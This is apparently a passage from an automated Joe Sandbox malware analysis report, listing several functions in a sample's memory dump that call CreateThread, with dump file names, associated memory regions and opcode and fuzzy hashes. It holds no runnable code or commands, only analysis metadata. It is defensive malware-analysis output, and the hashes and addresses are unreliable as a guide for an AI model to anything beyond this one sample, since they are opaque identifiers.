Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,?,00000000), ref: 006986C7

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a080fc0998b450619f96a5adb5eb2ade92bb27d3d5fb63fb5a8dacb179c2cee4
Instruction ID: 0e748abfbb76a22d4d7df29f2e1e412a7a263e834f675beb42fcc8900c04a72b
Opcode Fuzzy Hash: a080fc0998b450619f96a5adb5eb2ade92bb27d3d5fb63fb5a8dacb179c2cee4
Instruction Fuzzy Hash: 33F052B59492827EEB429F308C8AB4BBE39AF03300F284099F8045F9C3C8A15810CA99

Function 00689103 Relevance: 1.5, APIs: 1, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000), ref: 0068910C

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 503c22a075ffa4d0c4a18008148dadb419ce4dff22605055a275620b9a037112
Instruction ID: 7b42f8b0fc90b59656405dc5c93aa62e6bb372ca714d709a06f11b7ede5dbb9a
Opcode Fuzzy Hash: 503c22a075ffa4d0c4a18008148dadb419ce4dff22605055a275620b9a037112
Instruction Fuzzy Hash: 3BF0E23151826AAACB20FF248C0D7FF7B26EF55321F280329F980269C1C6676C118F78

Function 0068C0AF Relevance: 1.5, APIs: 1, Instructions: 19
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 0068C0B3

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 172cf37cc833ad2f7e645b024bbe4029d706e2a19e63cfb080c90ec281bc7ea4
Instruction ID: e493b65b484847078bde73bd0ded76da4fe99d11479d6d844a231a3e1ece7d55
Opcode Fuzzy Hash: 172cf37cc833ad2f7e645b024bbe4029d706e2a19e63cfb080c90ec281bc7ea4
Instruction Fuzzy Hash: 50E0DF3128422AAACB04FF6048183AF3B269F00711F004208EA42A79C2C6761C628B2D

Function 006978D9 Relevance: 1.5, APIs: 1, Instructions: 15
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 006978DF

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 86c07ed2a6725b6a7e71bdcb1acae9264b19dd3cfedbcf4b273fbf9547f0782c
Instruction ID: fd75a60e5c0ed010598d404ae3c8b8bf8ffafbbc31c6184cd8341c310d2e4737
Opcode Fuzzy Hash: 86c07ed2a6725b6a7e71bdcb1acae9264b19dd3cfedbcf4b273fbf9547f0782c
Instruction Fuzzy Hash: 05E0EC7196925EAADF90EF608C1979E3A2AEF01301F418469F94667882CA651D688B1C

Function 00696892 Relevance: 1.5, APIs: 1, Instructions: 14
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 006968A1

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 65a7d10acd9f2377195a5108abb3239a7e302c0e20cdc1425729d785993c7eda
Instruction ID: cfdd493ba2a877e0c5fc8899c9f29b9cea6581f61d4ac5c38b7278c15b35fea2
